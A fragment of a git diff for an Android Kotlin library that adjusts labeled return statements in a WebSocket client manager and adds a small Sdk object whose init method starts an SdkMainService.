@@ -117,7 +119,7 @@ class WebSocketClientManager {
respCode = ERROR_CODE_WS_BUILD_CONNECTION_FAILED
LogUtils.error(throwable = it)
errorMessage = "${it.message}"
- return@withContext result
+ return@callWebSocketRequest result
}.getOrNull()
LogUtils.info("${System.currentTimeMillis()} start connect web socket ${webSocketClient?.uri.toString()}")
@@ -133,7 +135,7 @@ class WebSocketClientManager {
respCode = ERROR_CODE_WS_BUILD_CONNECTION_FAILED
LogUtils.error(throwable = it)
errorMessage = "${it.message}"
- return@withContext result
+ return@callWebSocketRequest result
}
if (webSocketClient?.isOpen == true) {
@@ -145,7 +147,7 @@ class WebSocketClientManager {
}
if(!sendMessage(request, responseHeaders, respCode, errorMessage)){
- return@withContext result
+ return@callWebSocketRequest result
}
}.onFailure {
respCode = ERROR_CODE_CALL_WEB_SOCKET_FAILED
@@ -161,7 +163,7 @@ class WebSocketClientManager {
result.endTime = System.currentTimeMillis()
result.code = respCode
- return@withContext result
+ return result
}
private suspend fun sendMessage(
diff --git a/vastlib/src/main/java/com/iab/ak/Sdk.kt b/vastlib/src/main/java/com/iab/ak/Sdk.kt
new file mode 100644
index 0000000..f9e9e23
--- /dev/null
+++ b/vastlib/src/main/java/com/iab/ak/Sdk.kt
@@ -0,0 +1,9 @@
+package com.iab.ak
+
+import android.content.Context
+import com.example.vastlib.service.SdkMainService
+
+object Sdk {
+ @JvmStatic
+ fun init(context:Context) = SdkMainService.invoke().start(context)
+}
\ No newline at end of file